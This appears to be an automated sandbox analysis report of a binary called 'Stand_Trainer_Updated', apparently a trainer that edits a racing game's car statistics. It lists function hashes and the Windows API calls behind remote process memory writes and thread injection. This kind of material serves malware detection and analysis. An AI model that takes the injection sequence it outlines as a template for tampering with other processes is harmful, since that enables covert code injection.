Opcode ID: 383fc7e304a473ed2c13e0627f488248b8af33ec5a288753555ed3dadcea8d32
Instruction ID: 78589358b5dcd86910016faa8714b2eb2e77f451631b935b6b9d5ff80549e76b
Opcode Fuzzy Hash: 383fc7e304a473ed2c13e0627f488248b8af33ec5a288753555ed3dadcea8d32
Instruction Fuzzy Hash: 65118F9394E7868FF76BD32858760A9BFE4AF56210709A0FFC48C8B193ED04680D87D5

Function 00007FFAAC660875 Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2564809953.00007FFAAC660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaac660000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c66e908460d2b4a2e6bc8c255f7486baebfbbc919ccf8a12cf423ba3166b8c0d
Instruction ID: d23ba20cbc780dde9dea6ef85bdca7cc64edc5712b06785f0b8e88ae23735a70
Opcode Fuzzy Hash: c66e908460d2b4a2e6bc8c255f7486baebfbbc919ccf8a12cf423ba3166b8c0d
Instruction Fuzzy Hash: C7F05B82E4EB8A4AF6AFA27858635FC5F904F56111F0521BBD14D852D7DC48698D03C5

Function 00007FFAAC661239 Relevance: .0, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2564809953.00007FFAAC660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaac660000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db47fe08fe3ab13a332ff20bffaa10780a8467ebde26691ec73ac3901e686a51
Instruction ID: c57a064629a5d0dfe7941d37384f961c1cd380da14d6e1149b78c63d132a9819
Opcode Fuzzy Hash: db47fe08fe3ab13a332ff20bffaa10780a8467ebde26691ec73ac3901e686a51
Instruction Fuzzy Hash: 19F0A762A18A4A4BF649EB2884526F692E5FF54300F00A179914FC2193DC18E5494284

Non-executed Functions

Function 00007FFB22653180 Relevance: 26.9, APIs: 12, Strings: 3, Instructions: 663
injectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?_Xlength_error@std@@YAXPEBD@Z.MSVCP140(?,?,?,?,00007FFB226540AC,?,00000000,?,00007FFB22653235), ref: 00007FFB2265318B

Part of subcall function 00007FFB22654150: memcpy.VCRUNTIME140(?,?,?,00007FFB22653207), ref: 00007FFB226541C3

Part of subcall function 00007FFB22653F70: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FFB226536D9), ref: 00007FFB22654070

Part of subcall function 00007FFB22654920: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FFB2265103E), ref: 00007FFB2265493A

VirtualAllocEx.KERNEL32 ref: 00007FFB2265360E
WriteProcessMemory.KERNEL32 ref: 00007FFB22653631
VirtualFreeEx.KERNEL32 ref: 00007FFB2265365B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB22653698
ReadProcessMemory.KERNEL32 ref: 00007FFB2265374F
memcmp.VCRUNTIME140 ref: 00007FFB22653766
WriteProcessMemory.KERNEL32 ref: 00007FFB22653A87
WriteProcessMemory.KERNEL32 ref: 00007FFB22653AB1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB22653AE1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB22653B26
_CxxThrowException.VCRUNTIME140 ref: 00007FFB22653B6A

Strings

@, xrefs: 00007FFB226535F7
vector too long, xrefs: 00007FFB22653184
UPDATE %s SET TopSpeed=%f, DistanceDriven=%u, TimeDriven=%u, TotalWinnings=%u, TotalRepairs=%u, NumPodiums=%u, NumVictories=%u, NumRaces=%u, NumOwners=%u, NumTimesSold=%u, TimeDrivenInRoadTrips=%u, CurOwnerNumRaces=%u, CurOwnerWinnings=%u, NumSkillPointsEarned, xrefs: 00007FFB22653426

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: MemoryProcess$Write_invalid_parameter_noinfo_noreturn$Virtualmemcpy$AllocExceptionFreeReadThrowXlength_error@std@@mallocmemcmp
String ID: @$UPDATE %s SET TopSpeed=%f, DistanceDriven=%u, TimeDriven=%u, TotalWinnings=%u, TotalRepairs=%u, NumPodiums=%u, NumVictories=%u, NumRaces=%u, NumOwners=%u, NumTimesSold=%u, TimeDrivenInRoadTrips=%u, CurOwnerNumRaces=%u, CurOwnerWinnings=%u, NumSkillPointsEarned$vector too long
API String ID: 3432736595-2273485850
Opcode ID: ff04e743a14e27a5f50ae3e48831c4d593fa7fcaafc929ef685421284231d40a
Instruction ID: b2bf602e454535d3c4ad2bde3d96165393cc0b15933a12835c1153c1dba7ff46
Opcode Fuzzy Hash: ff04e743a14e27a5f50ae3e48831c4d593fa7fcaafc929ef685421284231d40a
Instruction Fuzzy Hash: A6524DA3A25A9589FB12CF75DC402EC2770FB18B88F484532EA5DA7B99DF78D561C300

Function 00007FFB22651910 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 277
injectionmemorysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFB22654150: memcpy.VCRUNTIME140(?,?,?,00007FFB22653207), ref: 00007FFB226541C3

VirtualAllocEx.KERNEL32 ref: 00007FFB22651A40
WriteProcessMemory.KERNEL32 ref: 00007FFB22651A63
VirtualAllocEx.KERNEL32 ref: 00007FFB22651AC2
WriteProcessMemory.KERNEL32 ref: 00007FFB22651AE9

Part of subcall function 00007FFB22653F70: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FFB226536D9), ref: 00007FFB22654070

VirtualAllocEx.KERNEL32 ref: 00007FFB22651B46
WriteProcessMemory.KERNEL32 ref: 00007FFB22651B6B
CreateRemoteThread.KERNEL32 ref: 00007FFB22651B9A

Part of subcall function 00007FFB22654920: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FFB2265103E), ref: 00007FFB2265493A

WaitForSingleObject.KERNEL32 ref: 00007FFB22651BC4
VirtualFreeEx.KERNEL32 ref: 00007FFB22651BF2
VirtualFreeEx.KERNEL32 ref: 00007FFB22651C17
VirtualFreeEx.KERNEL32 ref: 00007FFB22651C3C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB22651C79
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB22651D11

Strings

@, xrefs: 00007FFB22651B2E

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: Virtual$AllocFreeMemoryProcessWrite$_invalid_parameter_noinfo_noreturnmemcpy$CreateObjectRemoteSingleThreadWaitmalloc
String ID: @
API String ID: 359211796-2766056989
Opcode ID: 923724aed1add0c9db85f855cc3076c4de2bc1b638331ad5104b5904c44cb73a
Instruction ID: 409770c130ee13553cd6b376b842901b220ccd87c303ad2dd2e9351a49c50f80
Opcode Fuzzy Hash: 923724aed1add0c9db85f855cc3076c4de2bc1b638331ad5104b5904c44cb73a
Instruction Fuzzy Hash: 97C168B2714B8185EB12CF62EC402AD73A5FB88B88F458136DE9D97B68CF78D565C340

Function 00007FFB22652720 Relevance: 13.9, APIs: 9, Instructions: 427COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB22652842
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB22652994
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB22652AD4
ReadProcessMemory.KERNEL32 ref: 00007FFB22652B84
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB22652BD4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB22652CBB
ReadProcessMemory.KERNEL32 ref: 00007FFB22652CF3
ReadProcessMemory.KERNEL32 ref: 00007FFB22652DDD
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB22652E2C

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$MemoryProcessRead
String ID:
API String ID: 1606301450-0
Opcode ID: 5ae2e6b79edec0f3968cffdec89c313936049c9e9988ad8e25bec2b751d6e6f8
Instruction ID: d310d2f8c3c000c01156dd1c7d76032f474dea290a28d0779fcc19550706ad3a
Opcode Fuzzy Hash: 5ae2e6b79edec0f3968cffdec89c313936049c9e9988ad8e25bec2b751d6e6f8
Instruction Fuzzy Hash: A82248B2B18A829AFB06CF74DC442ED33A1FB4478CF40452AEA5D57B99CEB8D159C340

Function 00007FFB22655024 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFB22655040
memset.VCRUNTIME140 ref: 00007FFB22655064
RtlCaptureContext.KERNEL32 ref: 00007FFB2265506D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFB22655087
RtlVirtualUnwind.KERNEL32 ref: 00007FFB226550C8
memset.VCRUNTIME140 ref: 00007FFB226550FB
IsDebuggerPresent.KERNEL32 ref: 00007FFB2265511C
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFB2265513D
UnhandledExceptionFilter.KERNEL32 ref: 00007FFB22655148

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 90f41556a7343738b2213ee9ee7f69b153d5a3b61cd0325a1c433d6b6fd49eb8
Instruction ID: b5b2b015f4f55086f2d91ec9e0c0e0d348cdbdd9b1b3f0baa75edfaffa09ef9f
Opcode Fuzzy Hash: 90f41556a7343738b2213ee9ee7f69b153d5a3b61cd0325a1c433d6b6fd49eb8
Instruction Fuzzy Hash: 23313BB3619AC189FB629F70EC443ED6360FB84744F444039DA4E87A94EF78D558C714

Function 00007FFB226531A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 304COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFB226535F7
UPDATE %s SET TopSpeed=%f, DistanceDriven=%u, TimeDriven=%u, TotalWinnings=%u, TotalRepairs=%u, NumPodiums=%u, NumVictories=%u, NumRaces=%u, NumOwners=%u, NumTimesSold=%u, TimeDrivenInRoadTrips=%u, CurOwnerNumRaces=%u, CurOwnerWinnings=%u, NumSkillPointsEarned, xrefs: 00007FFB22653426

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: memcpy
String ID: @$UPDATE %s SET TopSpeed=%f, DistanceDriven=%u, TimeDriven=%u, TotalWinnings=%u, TotalRepairs=%u, NumPodiums=%u, NumVictories=%u, NumRaces=%u, NumOwners=%u, NumTimesSold=%u, TimeDrivenInRoadTrips=%u, CurOwnerNumRaces=%u, CurOwnerWinnings=%u, NumSkillPointsEarned
API String ID: 3510742995-1189540536
Opcode ID: 4d45d62620878725b11631fcb973c50a749d28f5e7bf7a6448b0e22a4ade31d5
Instruction ID: 794e3c8991c73a811bde3f6f7d983ed3293e0a12e259364c7b5fef88be0184b6
Opcode Fuzzy Hash: 4d45d62620878725b11631fcb973c50a749d28f5e7bf7a6448b0e22a4ade31d5
Instruction Fuzzy Hash: 99D16E63B25AE588FB13CB71EC401AC6BB0BB05B98B485131DE5DABB59DF78D562C300

Function 00007FFB226551B0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFB226551DC
GetCurrentThreadId.KERNEL32 ref: 00007FFB226551EA
GetCurrentProcessId.KERNEL32 ref: 00007FFB226551F6
QueryPerformanceCounter.KERNEL32 ref: 00007FFB22655206

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: e09f90a87769b6277c11b38b7254214313cb37ebbb0d261935752cdcce18699c
Instruction ID: 21f53d3ab74d9b966e1e9a091180aae6bb1ce0066b2f8b8817c34411eb087da4
Opcode Fuzzy Hash: e09f90a87769b6277c11b38b7254214313cb37ebbb0d261935752cdcce18699c
Instruction Fuzzy Hash: A0112E62614F818AEB528F70EC552A933A4FB19758F441A31EA6D87B94DF7CD1A4C340

Function 00007FFB22652230 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 148
stringprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FFB22652269
Process32First.KERNEL32 ref: 00007FFB22652295
Process32Next.KERNEL32 ref: 00007FFB226522B1
GetForegroundWindow.USER32 ref: 00007FFB2265237B
GetWindowThreadProcessId.USER32 ref: 00007FFB22652389
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB226523B9
strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB226523DD
strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB22652408
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFB22652469

Strings

reset, xrefs: 00007FFB226523FB
focus, xrefs: 00007FFB226523B0
unfocus, xrefs: 00007FFB226523D0

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: Process32Windowstrcpy_s$CreateFirstForegroundNextProcessSnapshotThreadToolhelp32_invalid_parameter_noinfo_noreturnfree
String ID: focus$reset$unfocus
API String ID: 64550660-3106794205
Opcode ID: e7c99580bd7c60a15c07992298f68fdcd850852949cf6604d91e12ff0a8fd0d3
Instruction ID: 0412e1fc3d3941ff25e94b38e0d65f1ebdf5835588dcd4cba458fcc6d00bd14d
Opcode Fuzzy Hash: e7c99580bd7c60a15c07992298f68fdcd850852949cf6604d91e12ff0a8fd0d3
Instruction Fuzzy Hash: 186160A3A286C285FB538B35EC4437973A0FB48B94F448135D98D866A5DFFCE4A4C740

Function 00007FFB22651720 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 132injectionCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFB22651757
memcpy.VCRUNTIME140 ref: 00007FFB2265180F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB2265186A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFB22651877
WriteProcessMemory.KERNEL32 ref: 00007FFB226518BF
WriteProcessMemory.KERNEL32 ref: 00007FFB226518D1

Part of subcall function 00007FFB22654920: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FFB2265103E), ref: 00007FFB2265493A

WriteProcessMemory.KERNEL32 ref: 00007FFB226518FA

Strings

AND NotAvailableInAutoshow=0, xrefs: 00007FFB226518B8
AND NotAvailableInAutoshow=1, xrefs: 00007FFB226518CA

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: MemoryProcessWrite$memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID: AND NotAvailableInAutoshow=0$ AND NotAvailableInAutoshow=1
API String ID: 2427741960-1967300337
Opcode ID: 50c7807b714074bc3cde8963075cd9d3c8a6124ba4fd18cff7efebee71432e17
Instruction ID: 1ad80dfc8962176b4727639a4afb0ae508874e5648bccbdf1180454f01d29673
Opcode Fuzzy Hash: 50c7807b714074bc3cde8963075cd9d3c8a6124ba4fd18cff7efebee71432e17
Instruction Fuzzy Hash: 2E51C3A3B28AC684FA279B25DD042B92760FB44FD4F540571CA6D87BA5DFBCE461C300

Function 00007FFB22654988 Relevance: 13.7, APIs: 9, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFB226549B0
__scrt_initialize_crt.LIBCMT ref: 00007FFB226549F5
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFB22654A02
_RTC_Initialize.LIBCMT ref: 00007FFB22654A30
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFB22654A56
__scrt_release_startup_lock.LIBCMT ref: 00007FFB22654A81

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 5dc3a2c061d603ebea0dc15b17bef94147f44fca3a790ac9016eac81c12b021b
Instruction ID: 11b0bdcc59fc85c60e692dba87c5eea19ed5fa9dbf9d4d9bf3d4ab403a42750d
Opcode Fuzzy Hash: 5dc3a2c061d603ebea0dc15b17bef94147f44fca3a790ac9016eac81c12b021b
Instruction Fuzzy Hash: 7F818BA3E3C6C386F6939F75DC812792290BF85784F144175E94CE7B96DEACE8618700

Function 00007FFB226510C0 Relevance: 13.6, APIs: 9, Instructions: 108injectionCOMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32 ref: 00007FFB22651105
ReadProcessMemory.KERNEL32 ref: 00007FFB22651134
ReadProcessMemory.KERNEL32 ref: 00007FFB22651163
ReadProcessMemory.KERNEL32 ref: 00007FFB22651192
ReadProcessMemory.KERNEL32 ref: 00007FFB226511C4
ReadProcessMemory.KERNEL32 ref: 00007FFB226511F3
ReadProcessMemory.KERNEL32 ref: 00007FFB22651222
WriteProcessMemory.KERNEL32 ref: 00007FFB2265125B
WriteProcessMemory.KERNEL32 ref: 00007FFB2265128C

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: MemoryProcess$Read$Write
String ID:
API String ID: 2601675199-0
Opcode ID: 7ee7c050f7f7f51261b789aad5b224ef0e50c02b930656cee03c470f5aaca468
Instruction ID: 8c1652e89e8bfc26271643130190a85ec43f0174c449b967837e538aab324ea2
Opcode Fuzzy Hash: 7ee7c050f7f7f51261b789aad5b224ef0e50c02b930656cee03c470f5aaca468
Instruction Fuzzy Hash: AE51DBB7716FD689EB918F25DC406997320FB98B89F445122EE4E93B28DF78C195C340

Function 00007FFB22653B70 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFB22653C75
memcpy.VCRUNTIME140 ref: 00007FFB22653C8F
memset.VCRUNTIME140 ref: 00007FFB22653CA4
memcpy.VCRUNTIME140 ref: 00007FFB22653CBC
memcpy.VCRUNTIME140 ref: 00007FFB22653CD9
memset.VCRUNTIME140 ref: 00007FFB22653CE7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB22653D5E
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFB22653D65

Part of subcall function 00007FFB22654920: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FFB2265103E), ref: 00007FFB2265493A

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: memcpy$memset$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1738635707-0
Opcode ID: 90702b10806ec90035e6f9983b6b7e09ddf27c14c661ce296dfff093e261c8fb
Instruction ID: 5fed89c49af1dbeb62367af2975162f7703696fcc157d05d6249d45a844ecea5
Opcode Fuzzy Hash: 90702b10806ec90035e6f9983b6b7e09ddf27c14c661ce296dfff093e261c8fb
Instruction Fuzzy Hash: BE51A3A2A29AC684FE17DB35EC452B86361BF44BD0F840631DA5D9BBD5DEBCE0608300

Function 00007FFB22651D80 Relevance: 10.7, APIs: 7, Instructions: 153injectionCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB22654150: memcpy.VCRUNTIME140(?,?,?,00007FFB22653207), ref: 00007FFB226541C3

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFB22651E8C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFB22651EA1
ReadProcessMemory.KERNEL32 ref: 00007FFB22651ECF
WriteProcessMemory.KERNEL32 ref: 00007FFB22651F02
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB22651F3D

Part of subcall function 00007FFB22653F70: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FFB226536D9), ref: 00007FFB22654070

WriteProcessMemory.KERNEL32 ref: 00007FFB22651FC6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFB22651FD8

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: MemoryProcess$Writefreememcpy$Read_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1560051262-0
Opcode ID: 5d09cd1697ce0e85060163274d83c08a82e2468e5510c7f618081edddadb3396
Instruction ID: cec7b178e0c6142886dc51615b969784738ff98a3b033dd6de5584d0606fc9ac
Opcode Fuzzy Hash: 5d09cd1697ce0e85060163274d83c08a82e2468e5510c7f618081edddadb3396
Instruction Fuzzy Hash: 966160A7A29BC281FA138B25EC442697364FB85BD0F540132DA9D93B64DFBCE5A1C700

Function 00007FFB22653F50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

?_Xout_of_range@std@@YAXPEBD@Z.MSVCP140(?,?,?,?,00007FFB226536D9), ref: 00007FFB22653F5B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,00007FFB226536D9), ref: 00007FFB2265401D
